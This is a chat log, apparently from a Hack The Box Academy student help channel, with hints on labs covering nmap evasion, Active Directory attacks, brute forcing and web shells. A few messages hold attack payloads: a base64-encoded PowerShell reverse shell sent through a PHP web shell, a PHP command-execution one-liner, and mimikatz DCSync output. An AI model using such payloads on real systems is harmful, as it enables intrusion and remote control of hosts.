Just for my understanding: If I port forward through ssh (via the host 10.129.10.20) say my local port 1234 to 22 to the host 172.39.10.2 then the response, 172.39.10.2 sends back via 10.129.10.20 is forwarded back to me again? ( I am doing the module with port forwarding and tunneling)

[odd notch]

Ok I just need an answer of how to get the thing... I am doing -sA --source-port 53 and the scan is taking FOREVER because of the service scan.

[fathom pendant]

the answer is in the section

[odd notch]

that's not helpful.

[fathom pendant]

go through the whole part of the IDS sub-section "DNS Proxying"

[odd notch]

I don't see a DNS to proxy from...

[fathom pendant]

that

READ the section

read what it's telling you to do under that part

that will get you the answers

[odd notch]

Yea I don't see it...

[fathom pendant]

Look at the examples given that are below that section (the Scan parts)

[red current]

What section are you on?

[manic magnet]

can I dm you ?

[odd notch]

are you talking about this sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53 ?

[fathom pendant]

yes

[quasi wave]

hi guys I keep coming here to get help with my code. I get a few suggestions. If I could DM someone to get help figuring out the answer that would be great. Please don't give me the answer tho I want to learn and I only learn if I figure it out. This is for Intro to BASH module.

Here is my code:

#!/bin/bash

var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"

in_var=true

for i in { 1..40 }
do
        var=$(echo $var | base64)
        
        if  ( $i in $var ) 
        then
            $in_var=true
        else
            $in_var=false
        fi
done

if $in_var
then
    for i in $var:
    do
        echo $i >> var.txt
    done
    tail -c 20 var.txt
fi

[red current]

Yes, you can DM me.

[odd notch]

As I said... I am currently doing a -sA --source-port 53 and the scan is still ongoing...

[fathom pendant]

remove the specified port and obviously change the IP to your target

cancel that scan

Ack scans take forever to begin with

[odd notch]

sudo nmap -sA --source-port 53 -p- -sV -n --disable-arp-ping -Pn 10.129.2.47 this is what I am runing.

AAANNDDD target just died.

X_X

[final python]

hey, dm

[fathom pendant]

also add -p-

[odd notch]

It's there.

I got the desired results I think...

with a -sS scan

[quasi wave]

I asked the same thing multiple times and no one wants to help me. Am I just not liked here? What am I doing wrong to the community? It's like I'm a ghost or something.

lmao

[final python]

how can i help you?

[manic magnet]

Someone just send me message with the pivot module and I missclicked ignore

pls DM me again 😂

[quasi wave]

I asked my question above. I am doing these instructions:

Create an "If-Else" condition in the "For"-Loop that checks if the variable named "var" contains the contents of the variable named "value". Additionally, the variable "var" must contain more than 113,450 characters. If these conditions are met, the script must then print the last 20 characters of the variable "var". Submit these last 20 characters as the answer. 

Here is my code. I would like someone to help me figure out the answer. If you could DM me that would be great:

#!/bin/bash

var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"

in_var=true

for i in { 1..40 }
do
        var=$(echo $var | base64)
        
        if  ( $i in $var ) 
        then
            $in_var=true
        else
            $in_var=false
        fi
done

if $in_var
then
    for i in $var:
    do
        echo $i >> var.txt
    done
    tail -c 20 var.txt
fi

thank you

or if someone could help me here that works too

[odd notch]

ok now why did the -sS work and the -sA not?

[quasi wave]

but don't give me answer help me figure it out

[odd notch]

no idea sorry queue

[final python]

dm

[quasi wave]

Will do thanks.

[fathom pendant]

Because of how they work, syn and ack are two different types of packets

[odd notch]

i figured that much... am looking for a more indepth explanation tho thanks

[fathom pendant]

explanation here

[odd notch]

I appriciate the effort, however I understand how a handshake works, still doesn't explain why the dif scans show diff results.

[fathom pendant]

Ack is basically the third step of the handshake so it doesn't necessarily expect a response back

Where syn is the start

So with syn (and source-port 53) you're saying "Hi do you know about x machine?"
Syn-Ack "sure here is the info"
Ack "thank you"

[sage jackal]

Hello I’m stuck on the last question of Buffer Overflow on Linux module skills assessment. Not sure why I’m not getting reverse shell I think I did it correctly ….

Can someone help?

[manic magnet]

Does anyone know why it is ok to use 0.0.0.0 here as a destination ip?

[fathom pendant]

0.0.0.0 means all interfaces

So it can listen through any host/subnet

Which is why when you start http.server through python it starts the service on 0.0.0.0 {specified port, 8000 default}

[manic magnet]

yeah but I mean its not listening. Its sending it to 0.0.0.0 isn't it ?

[fathom pendant]

Technically yes and no in order for it to send it also needs to listen, no?

[umbral peak]

selling unturned cheats

[fathom pendant]

But in short: 0.0.0.0 address just signifies any way that the system is accessed

So it's regardless of any VPN connection

[proud pine]

It listens on any, but it makes the connection to the specified ip/port.

[fathom pendant]

Don't care didn't ask + not relevant

[manic magnet]

I am confused 😂

[proud pine]

DM me

[clear apex]

Hey, I am in the same spot. I think I did it correctly too but can't seem to move forward.

[bright hemlock]

any tips on the wordpress skills assessment? i've done every question and have shell access to the wordpress machine yet i still can't find the flag for this question
Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

[fathom pendant]

Unauthorized file download is the key here

Check the plugins

[bright hemlock]

i've exploited the plugin i just dont have a clue what file it is i need to read

[agile rapids]

so I've been going through the intro to sql injection fundamentals module, i have to say this module is lacking alot of point on what sql is and what it does and how it works, fortunatley there is alot of resources online if you what better understand sql languages and how sql injection works, but i have to say i wasn't to impressed with the sql module as what it looks like they where trying compress the understanding of sql all the while produce complex sql attacks, i hope HTB puts more work into their modules as has more respect for their topics going forward as ive seen out of this one i believe it needs a complete overhaul

[manic magnet]

Most modules I have taken are really good

[agile rapids]

@manic magnet so far everything before the sql intro has been good as well, and i completely understand these modules are only meant to be primers on the topics they cover, but i believe they should very least provide resources within the module to go elsewhere if you want to expand your knowledge on the subject, most of the ones before have done so, though the sql module is completly lacking any quality links

[bright hemlock]

can i have anymore of a hint? im clueless at this point. nevermind got it. was trying to use LFI to read the file..doh

[iron plaza]

there are gaps here and there in certain modules ... in some cases poorly formulated questions. Which as frustrating as it is, it helps build patience and ability to deduce things. However, other times its just down right absurd.

For instance, I am doing the SQLMap Essentials and the module is not arranged properly ... for some reason I am learning how to build attacks before learning how to enumerate databases using the tool.

[agile rapids]

@iron plaza my fear is with the modules that htb may neglect to mention other sources that would be better and more exaustive then htb would be able to do because they are conflicted with maintaining your time in their site

[iron plaza]

They don't need to maintain your time on the site as they are not selling ads, plus you are already paying them. But to address your point, this is where you need to build your ability to proactively seek out other resources and information on your own

[fathom pendant]

Also as far as other resources: there's generally a link or two for further discovery. And Google is one of the best resources. Another is ippsec

[agile rapids]

@fathom pendant Yeh good to know, it's just a another reminder cyber security is big discipline that requires alot of dedication to understand let alone master, no resources would ever be able to call itself the most comprehensive in any area with how fast this field evolves

[austere sandal]

https://tenor.com/view/adam-levine-embarrassed-the-voice-shy-shame-gif-4355252

[spiral spoke]

Hello! Sorry, I'm getting trouble with a question, I'm in the module Intro to Windows Command Line in the section of Environment Variables and I'm really sure that the answer to the question is "System Environment Variable", I've been trying all the combinations with this kind of concept like "system", "system variable", "global", "global variable, global variable scope" and I don't know if is an error of the question or just my answer is wrong 😭

Help pls!!🙏

[fathom pendant]

What's the question?

You kinda threw info but didn't ask the question

[spiral spoke]

The question is

What variable scope allows for universal access?

And the hint is:

We want it to be accessible around the world of our operating system

[fathom pendant]

Should be "global variable"
"Global Variable"

Sometimes some modules are case sensitive

Or Global

[spiral spoke]

I've already tried that but it doesn't work, could be an error of the question?

Actually thats the answer (I'm really sure) but it looks like it isn't

[fathom pendant]

Weird

[spiral spoke]

https://tenor.com/view/neil-patrick-harris-upset-disappointed-sad-gif-13711197

[fathom pendant]

Yeah...no... It uh...it should be "Global"

No quotes or anything

But I just checked

Weird if it's not accepting your answer

[spiral spoke]

... OMG ||Yeah it is!
just Global||,
Thank you so much really!

[prisma knot]

Currently stuck on the PtT from Linux section I cant seem to find an answer to "Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_)." - Anyone have any tips?

[fossil crescent]

If you're still stuck, (a) don't overthink it, (b) using the hint may well come in handy, and (c) use the cheat-sheet. If still-still stuck, feel free to DM me.

[acoustic owl]

@west canopy
May you can take a look here when you get a chance? What am I doing wrong? Actually it is a step by step guide in the module. Why is the answer not accepted?

#modules message

[radiant tinsel]

I'm having a hard time on the SQL part of the Attacking Common Services. I can login using the given creds using impacket but even after enumerating EVERYTHING that I have the privilege for I cant seem to find ||the hash for the mssqlsvc user ||

Can someone help me pleeeease 🙂

[acoustic owl]

|| Responder || is your friend

[split parcel]

hi for "AD Enumeration & Attacks - Skills Assessment Part I" question3: Crack the account's password. Submit the cleartext value.

I have uploaded powerview and mimikatz, but when i ran it, nothings happens.

i have done this in my rev shell and also in the webshell. any hints on this?

SOLVED: I used another tool instead, not sure why mimikatz is not working

[pine dagger]

No I solved it. Thanks for the offer.

[fringe dew]

The Live Engagement Sections! Do you have any hints? for that sections
Shells & Payloads module

I tried to upload the shell but it’s still doesn’t work

[cobalt nebula]

Spawning the target what does it mean

[autumn pilot]

The targets are usually (most of them) offline, spawning will spawn the target so you can access it

[cobalt nebula]

@autumn pilot will you please elaborate it cause I am not that good at English

[autumn pilot]

means that you are powering on the target

[cobalt nebula]

Powering means attacking right

[acoustic owl]

No, you should start the target server
spawning means start the target

[cobalt nebula]

Now got it 👍 thanks @acoustic owl

@autumn pilot thanks

[zenith gazelle]

hello everyone, i need help with one small thing, have a php file in the server, and i need using curl get a reverse shell, used the revshell. Im doing this curl http://10.129.104.61/1php.php?cmd=cG93ZXJzaGVsbCAtTm9QIC1Ob25JIC1XIEhpZGRlbiAtRXhlYyBCeXBhc3MgLUNvbW1hbmQgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCIxMC4xMC4xNS4xNTEiLDEyMzQpOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXswfTt3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLCAwLCAkYnl0ZXMuTGVuZ3RoKSkgLW5lIDApezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiAgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgp, and in there is my powershell in base64 to get a shell, but its not doing nothing, what is missing? PS: i have nc listener ready to get the connection. Thanks for your attention.

[pale stirrup]

I want to identify the services running on the target box with nmap but I keep getting:

Failed to resolve "144.126.228.127:32165".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.03 seconds

I'm on a VM and I've just connected to HTB VPN.
I can render "144.126.228.127:32165" on my browser but can't nmap it?
What am I missing here?

[zenith gazelle]

you can not put ip:port , if you want a specific port put nmap -p 32165 144.126.228.127

[pale stirrup]

hmm trying it now

I get something similar:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-23 12:55 WEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.33 seconds```

[zenith gazelle]

try -Pn etc

[pale stirrup]

oh wait it's going somewhere now with the -Pn option

[autumn pilot]

You don't have to nmap that target

[pale stirrup]

weird that I tried using it a while back but it was stuck

[pale stirrup]

wdym? how do you identify the available services?

[autumn pilot]

by simply visiting the target

[pale stirrup]

the page does render you're right ... thought I had to nmap it though

[celest cave]

how to know which is the right epochtime??? and is this script usable?

[pale stirrup]

So you can tell that wordpress powers it whenever you visit that page ... if I run 'whatweb 144.126.228.127:32165' I can tell it's running wordpress 5.6.1. The only exploit I found on wpscan.com, without a fix, was an authenticated Blind SSRF via DNS Rebinding. I can't find this exploit on metasploit and if I search for wordpress within metasploit, I get a few dozen of them. Do I have to try them all?

[pine dagger]

Just finished the Into to Assembly Language. Annoying but very satisfying.

[pale stirrup]

do I even have to use metasploit and/or look for wordpress exploits or nah?

[manic magnet]

I mean you technically never have to use metasploit but its way easier if you do for some stuff

[manic magnet]

It could also be that wordpress is not the thing that gives you a foothold here.

[pale stirrup]

what's confusing me right now is that I'm trying stuff and that same stuff doesn't get me anywhere

[manic magnet]

Thats normal

What module are you working on ?

[pale stirrup]

yeah wordpress doesn't seem to be it ... I'm trying a simple backup exploit but I'm only getting ```[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed

I think I'm supposed to get a file or something not sure

[pale stirrup]

https://academy.hackthebox.com/module/77/section/843

[manic magnet]

Do you need to do it that way or do you just need to get a reverseshell ?

[pale stirrup]

I'm not even sure haha

I need a flag

that's all I know

[manic magnet]

That wasn't addressed at you xD

[pale stirrup]

my bad

[manic magnet]

Lets take this to dm I will start the service and we can talk about it

[rustic sage]

Just finished attacking web applications with ffuf, if anyone needs help feel free to dm me 🙂

[latent crane]

hello, I was trying to register for the email every time it is the email does not match because I’m using so it ends like this @icloud.com can someone help me

[tight glen]

What email? @latent crane

Perhaps if you use "Hide my email adress" which is a option for privacy from apple, try turning that off

[latent crane]

What setting is that called

[latent crane]

i’m talking about the type of setting

This is what shows me

it says forbidden

403 unauthorised what do I do now?

[mighty trellis]

Can I get some help with a intro to pyton 3 question?

The first iteration.

What is the 3rd most used word on the exercise target website.

Do I not need the parrot terminal?

[zenith gazelle]

I talked to a guy that already did, and he told me thar I need to use revshell to have a powershell encoded to use with the php file that already is in the server. The php file have "<?php echo shell_exec($_GET['cmd']);?>"

[zenith gazelle]

For more context this is for attacking services easy.

[latent crane]

everything is fine now

I was just stupid

but now is everything fine

[manic magnet]

AFAI remember || a simple php reverse shell || will do the trick just fine.

[mighty trellis]

Do I have to download python 3 onto the hack the box instance?

[manic magnet]

no

[zenith gazelle]

Like using the one that already exists to create another one that will give me a reverse shell ?

[manic magnet]

you can use python3 to run python 3

[mighty trellis]

In the mate terminal?

[manic magnet]

In the normal terminal

idk if its mate

[mighty trellis]

Okay I think I got it.

[manic magnet]

nice 😄

[deep owl]

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
clBuildProgram(): CL_BUILD_PROGRAM_FAILURE

• Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl build failed.

[manic magnet]

If you can upload a php just upload a ||php reverse shell||

[deep owl]

hello all, anyone facing this hashcat error

[manic magnet]

not fixable for now.

[manic magnet]

either use US pwnbox or your own

[deep owl]

thanks for letting me know, i will fire up my own virtual machine

[zenith gazelle]

I can put the php file using mysql command, and if a try to put something more complex( ; " ' > < ) gives me syntax error

[zenith gazelle]

You did, the Attacking services-easy module?

[mighty trellis]

Nevermind Im lost.

[mighty trellis]

@manic magnet can you help me please?

[wet lake]

Hey guys can anyone help me with the local file inclusion skills assessment? I’ve managed to get to the admin panel and can read the access log and, supposedly, am able to poison the log with the php webshell used throughout the module but once I send it, the log just seems to freeze up and eventually just crashes and im forced to restart the machine

I’ve tried alternatives too, like doing [“cmd=id”] or just [“id”] but nothing is working

[red current]

I'm in the Active Directory Enumeration and Attacks module and I'm stuck in the Privileged Access section. I thus far haven't been able to get any of the commands to work. The provided script for BloodHound doesn't work and won't search for any other users in the Local Admin and Execution Rights group. Does anyone have any suggestions on what could be wrong?

[acoustic owl]

The log file uses double quotes. You should not use double quotes in your payload.

[wet lake]

I think I’ve used single quotes too but I’ll try it again

I have no clue what I did differently this time but it worked

Thank you

[acoustic owl]

Take a close look at the log file. It uses double quotes. If you use double quotes in your payload, then you are changing the structure. Your payload will be torn apart.

[wet lake]

Thank you, im putting that in my notes

[river skiff]

Just finished CrackMapExec module, kudos to @acoustic owl for the nudge
If someone is in need, don't hesitate to DM me.

[manic magnet]

where are you lost ?

[manic magnet]

Yeah I did

[mighty trellis]

I have the target spawned and I put the code in that it tells me to but it says theres an error. Hold on.

[manic magnet]

Can you dm me the section you are stuck on ?

[rotund urchin]

Can someone nudge me on the Footprinting easy lab? I havent found anything yet sadly.

[red current]

What switches are you using with your nmap scan?

[manic magnet]

I see where the problem is. I did not use mysql I used another method. There is more than one way

[rotund urchin]

-sV -sC -A. Also tried running some --scripts against each service as well.

[red current]

Have you tried disabling host discovery?

[rotund urchin]

yeah but the results seem to be the same

[red current]

You're running it with the other switches and still not getting any results?

[rotund urchin]

I mean, I have results. I guess im just not sure what I should be looking at.

Based on what is open, I assume I need to try and log into FTP or SSH but nothing is pointing to how

[night ember]

Hello I am stuck on the NMAP module --> Firewall and IDS/IPS Evasion Hard Lab,

I found ||the hidden port 50000|| but its always filtered,

I tried
||to access it from the same subnet -> sudo nmap -p 50000 -sS -sV -Pn --disable-arp-ping -S 10.129.2.40 10.129.2.47 -e eth1|| But without -e it says that it doesn't know which network interface to use, i tried every network interface (tun0, eth0, eth1) but it says failed to determine route to 10.129.2.47

[frosty leaf]

Can someone help me with the Getting Started module -> Privilege Escalation

I cannot for the life of me find how to solve it

[prisma knot]

Currently stuck on the PtT from Linux section I cant seem to find an answer to "Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_)." - Anyone have any tips?

The hint says "There is a file containing the credentials of Linux machines in Active Directory." but i can't seem to find an answer

[river skiff]

DM me.

[red current]

There's a specific wget command that you then need to run in order to exploit ftp. I hope that helps.

[fiery berry]

dm you You need to dm me since I can't dm you in case you still need help

[trail token]

Hey 👋 awesome people of galaxy, quick stupid question. I was working on “Footprinting Lab - Easy”. I was able to solve it with the help of hint provided. Now question is was I supposed to find the password for user ceil? I spent almost half day to figure out credentials but after reading hint and using those credentials, it was easy. So was I supposed to brute force for credentials? Was that part of this lab?

[ashen fog]

Hi, need help on the Active Directory Enumeration & Attacks
with this question... the other questions was kinda easy but this makes no sense

"What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)"

[fathom pendant]

--source-port 53

You don't need to proxy or anything crazy

[rustic sage]

Hey folks

Can I get a hint for login brute forcing service login first assignment?

I have bruteforced the life out of SSH and no luck, also looked into forums and it seems like most people are stuck on the first assignment. I can help with the first one if someone can help me with the second.

[fathom pendant]

Is there a different service you can brute?

[rustic sage]

I didn't even look 😦

I was focused on ssh, I will have a quick peak now

but thing is, it's about my wordlist

[fathom pendant]

idk I'm not home, I'm at workplace starting my shift in an hour ¯_(ツ)_/¯

[rustic sage]

That's okay, have a nice time

[fathom pendant]

I won't 😄

[rustic sage]

Is it hard work?

[fathom pendant]

Retail

[rustic sage]

Right, people stuff

[tight glen]

Hello, im currently doing the new Windows Attacks & Defense module. im trying to connect to the domain eagle.local with a given user. Can somebody tell me what im doing wrong? or what the options provided mean

I chose xorg -> username: "eaglebob" password: "givenpassword"

[quick cairn]

guy's any help with AD- Skill assessment 1 , i have some error with chisel tool

[acoustic owl]

Here is explained how you can connect via RDP
https://academy.hackthebox.com/module/176/section/1754
But you still need the flag /cert-ignore

$ xfreerdp /u:eagle\\bob /p:Slavi123 /v:TARGET_IP /dynamic-resolution /cert-ignore

[pine dagger]

I just use /size:90%h rather than /dynamic-resolution

Works great on a 2560 monitor

[steady moat]

Can you provide me with programming tips?, i am new at programming

[red current]

Use PowerShell ISE for this one and PowerView again.

[ashen fog]

So use Powerview for the GroupSID for GPO Management?

[red current]

Yes, I believe that's right. You can DM me if you're still having trouble with it.

[rotund urchin]

Can you DM me? I dont understand what I am supposed to do with wget.

[hollow finch]

Unable to get connect.php file to upload successfully...has anyone else run into this and is there some trick to getting it to work for the PHP Web Shells question #2?

[cunning prairie]

M: Attacking Common Services; S: Easy Lab; i got username f**** and based on hints, i am using r**** wordlist and hydra. im using pwnbox but it looks like it will take up to 237 hours to go thru the wordlist. any recommendations?😫

[manic magnet]

They provide also a password wordlist 😉

[humble halo]

Module : Corporate Osint, Q1
I got the wrong coordinates on Google and don't don't any relevant results.
Can anyone help me in stuck

[hollow finch]

Yeah same problem

[manic magnet]

Also if it takes to long its probably not the right way to go. Usually its less then 5-2 min of bruteforcing

[cunning prairie]

mostly the easy labs which aren't easy. 😒

[manic magnet]

I would say thats normal, because some questions are just absurd

[manic magnet]

TRUE 😂

Not everything but some

let me check

I think it was alright. Some minor stuff but I mean the thing is the questions as I said are sometimes confusing

[rapid wyvern]

Heeey. Seems I'm also stuck with "Identifying Filters" section.

It's about

Which of (new-line, &, |) is not blacklisted

I did try other operators from cheat sheet and from previous section, urlencoded. Still no luck. Can you nudge me please?

EDIT: unstuck)

[manic magnet]

I mean thats why are you are on a learning platform. If you would do them easily everytime, then why would you be here learning it

I mean yeah but like remember that these people do this stuff for months or years.

[golden vortex]

can someone help with module sqlmap essentials section skills assessment. I can use sqlmap and it says its vulnerable but i get the error "unable to retrieve the database names"

[rapid wyvern]

You're on the right track. Skimming thru the "Bypassing Web Application Protections" section really helped me.

[golden vortex]

do i need to add a ||tamper||?

[rapid wyvern]

yup

[golden vortex]

ill try it thanks!

[manic magnet]

I just looked it up you are on the right track with that user and wordlist. Just keep trying stuff ^^

[cunning prairie]

ok thanks for the advice! ill just "try harder" 😆

[rugged veldt]

is anyone having difficulties using RDP to connect atm? i am doing the 'LLMNR/NBT-NS Poisoning - from Windows' module from AD enumeration and attacks

i have reset the machine 3-4 times

[manic magnet]

Some other general tips:
Bruteforcing may lead to being banned or blocked or rejected. This means that sometimes restarting the service helps.
Also sometimes other tools help. Looking through the section might reveal a better tool
Sometimes the tools are to fast and get blocked so playing around with the connect timing is key

(These are general tips as said, not everything might be needed to be successful in this module)

[manic magnet]

found this when searching for the error

maybe its helps

[rugged veldt]

nope ;-;

able to RDP in

get dced 30 seconds into the box

[manic magnet]

Because I just was talking about the Attacking Common Services Easy Lab. Anyone here that finished it and wants to talk about it because there are apparently 2 solutions and I want to know the other one (dm me if so 😄)

[manic magnet]

OK after some looking around I am pretty sure to know both ways now

[rotund urchin]

was anyone able to complete the footprinting easy lab without the hint on the creds? Curios about where they were.

[mighty trellis]

can someone help me with the lasdt question of intro to pyton3'

this thing is starting to piss me off

[rugged veldt]

i just skipped what i had problems with

also, sometimes with SSH i have trouble typing in the terminal if i have alt tabbed

whys this

[mighty trellis]

I did exactly what hack the box told me to do and it won't take any of my answers

[rustic sage]

||ftp server has the owners name so you can assume that is the user name then password guessing using seclists can get you the access ||

[viscid hill]

bro anybody can help me reporting a server cus idk how

[rustic sage]

reporting a module?

[fathom pendant]

Not the place

[valid forge]

Using Web Proxies > Burp Intruder
I have the correct setup to enumerate the webpage but when I navigate to the supposed page with the flag through Firefox, it's blank. Where else am I supposed to look for this flag if it's not present on the page?

Also, the training expressly mentioned navigating to the /admin page to make sure it is reachable and no matter where I go or how many times I refresh the target, it is blank.

Thoughts?

Thanks in advance.

[solar zodiac]

hi everyone :)! awesome new windows module!!! I saw that it mentioned esc8 in the description, but don't see it on list of things on the right( i only see esc1). Is this normal?

[rain totem]

In the Windows Attacks & Defense module, has anyone been able to RDP to PKI? I tried spawning the lab multiple times, waited for over 30 minutes each time but still can't RDP and PKI doesn't respond to pings

I'm able to perform the attacks though but not able to RDP into it to view the logs

[rain totem]

ESC8 is discussed in the skill assessment section

[solar zodiac]

ah great thanks 🙂

i just used the attack in a lab and was eager to learn more about it

[solar zodiac]

wish I could help but I just started the module 😦

[cunning prairie]

Ugh... I think you're right about the service closing out or banning me. Someone pointed out it's not too far into the wordlist and I just needed to reset the service until I got the password. Thanks for your suggestions!

[rain totem]

no worries. I finished all the attacks anyway, but I'm curious to try the blue team aspect of this attack 🙂

[solar zodiac]

nice 😄

❤️ htb academy 🙂

[valid forge]

Disregard... The options setting for "Exclude HTTP headers" is what got me

[fierce pier]

Stuck at nmap scanning firewall medium lab. Whom can I DM? Or any clues pls?

[fathom pendant]

What type of nmap scan flag will give version, reminder you may have to be stealthy @fierce pier

[fierce pier]

I am using --source-port 53 or 80

And -sSU

Decoy method too

None of them working

[fathom pendant]

VERSION

Is the keyword here

[fierce pier]

yes using dns-nsid too

[fathom pendant]

What is the nmap flag to do a Version scan

[fierce pier]

nmap -sV

[fathom pendant]

Mhm

Soooo

Have you added that

(also on the right with 53)

[fierce pier]

Ok trying now

[fathom pendant]

Also the -sS is not needed (-sU part though I believe is)

My only notes for this is the command used lol

[void gate]

AD Enumeration and Attacks finished! What a great and challenging skills assessment. On to the next module!

[fierce pier]

@fathom pendant thank q very much. Ur tips very useful. I forgot to add -sV and solved it now 😊😊

[rustic sage]

Guys is it possible to use hashcat in virtual instances to crack offline passwords

And would it be fast??

[fathom pendant]

It's possible, fast? Meh

[modern epoch]

Can someone confirm if the answer for the module ATTACKING COMMON APPLICATIONS section Attacking Thick Client Applications is right?

The answer I found is not working at all,

public static void Main(string[] args)
{
    string value = " \r\n    ____            __             __     ____                  __   \r\n   / __ \\___  _____/ /_____ ______/ /_   / __ \\_________ ______/ /__ \r\n  / /_/ / _ \\/ ___/ __/ __ `/ ___/ __/  / / / / ___/ __ `/ ___/ / _ \\\r\n / _, _/  __(__  ) /_/ /_/ / /  / /_   / /_/ / /  / /_/ / /__/ /  __/\r\n/_/ |_|\\___/____/\\__/\\__,_/_/   \\__/   \\____/_/   \\__,_/\\___/_/\\___/ \r\n                                                                      \r\n                                                by @HelpDesk 2010\r\n\r\n\t\t\t";
    Console.WriteLine(value);
    Process process = new Process();
    process.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
    process.StartInfo.Arguments = "/c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE";
    process.StartInfo.UserName = "s.............le";
    process.StartInfo.UseShellExecute = false;
    SecureString secureString = new SecureString();
    string text = "#ora..........s3rV1..........10";
    checked
    {
<SNIP>

[turbid lily]

Use username:password format

[runic rampart]

Grav default password
Friends help with two questions in the Windows Attacks & Defense module: 1.Credentials in Object Properties.Connect to DC1 as 'htb-student:HTB_@cademy_stdnt!' and look at the logs in Event Viewer. What is the TargetSid of the bonnie user? 2.Print Spooler & NTLM Relaying.After performing the previous attack, connect to DC1 (172.16.18.3) as 'htb-student:HTB_@cademy_stdnt!' and make the appropriate change to the registry to prevent the PrinterBug attack. Then, restart DC1 and try the same attack again. What is the error message seen when running dementor.py?

[autumn pilot]

remove -n WandaCalverton

[cedar void]

I don't understanding?

[autumn pilot]

Remove -n in your echo command

[cedar void]

did my comment get remove? I cant see it anymore

[autumn pilot]

yes, since it included partially the answer and will be a spoiler to someone who is trying to solve it as well

[cedar void]

Oh Okay. Thanks that worked

So should I PM

my problem?

[autumn pilot]

You can solve your problem by simply removing the -n from your code

[cedar void]

I did already.. What I was trying to ask was , if I want to post my problem should I OM any of the moderators my problem

[autumn pilot]

you can post your problem here, however, try explaining it rather just pasting the whole stuff

[ashen fog]

ACTIVE DIRECTORY ENUMERATION & ATTACKS
DCSync
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\syncron
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\syncron' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439)

Can someone tell me why it fails

[autumn pilot]

do you have the necessary privs?

[ashen fog]

Do i need admin creds for it or?

[autumn pilot]

you need to have the following privileges Replicating Directory Changes All and Replicating Directory Changes

[ashen fog]

Ok.Thanks

[autumn pilot]

is that from enum & attacks module dcsync section?

[rotund urchin]

interesting. Thanks for the info, Ill try again and see if I can find it. I did try some brute forcing but only a few wordlists, including the footprinting one they provided.

[rustic sage]

the footprinting list doesn't have the username inside, had that same problem too. Just assume users are stupid 🙂

[lilac cloud]

Is there a way to stop the academy target machines? I did some work early in the day and want to come back later but see a target life time ticking down. I haven't extended it, so if it goes end of life will I be able to start it back up later?

[autumn pilot]

Have you tried to refresh the page

[lilac cloud]

Yes. Dropped VPN and logged out/in to the Academy site too

[tight glen]

Yeah you can start it later again

pretty sure your progress is reset

[fathom pendant]

You can just reset academy targets later on or start a different section

Some modules use the same targets

[ashen fog]

ACTIVE DIRECTORY ENUMERATION & ATTACKS

I always get when i want to open my Output from SharpHound with BloodHound bad JSON Format

Did anyone have this before

[autumn pilot]

https://github.com/szymex73/bloodhound-convert

[frosty ore]

Hello Community,

I need some good inputs.

I am preparing for eJPTv2 and was thinking if Hack the box would be good source? If yes, could someone suggest me some machines on Hack the box for eJPTv2 practice?

[fathom pendant]

Yes however this isn't the place to ask #careers-and-certs is better

[sweet roost]

hi

what we have to do?

i am a new hacker

i know about qb64 programming language

[fathom pendant]

• https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
• you're going to want to change your name #rules #welcome

[sweet roost]

can we mention in this server?

[sweet roost]

thanks

[fathom pendant]

What do you mean "mention"

[sweet roost]

like

@ and then put a friend/man name

[trail badge]

Hey guys,
I'm stuck at Password Attacks - Password Reuse / Default Passwords.
I've got the credentials for user sam from previous challenge. I used them to log in to the machine. In user kira's home directory, I found a zip file that I've cracked and got an unrequested HTB flag. I also found her private key but I can't download it with a python server and wget as it says "file not found". I couldn't get kira's password using hydra and resources provided in the module either. Apparently there used to be a hint in the module but it's been removed.
I'd appreciate any hints or nudges on how I should proceed with this challenge.

[fathom pendant]

Yes. But don't do it randomly. Even if your question has been answered by them or they're active

[sweet roost]

i will not get ban na

[fathom pendant]

Her password is in the mutated password list

[sweet roost]

@fathom pendant

[fathom pendant]

Don't do this. It's annoying

[sweet roost]

ok

[autumn pilot]

There is a list that was mentioned in the section which you can use

[trail badge]

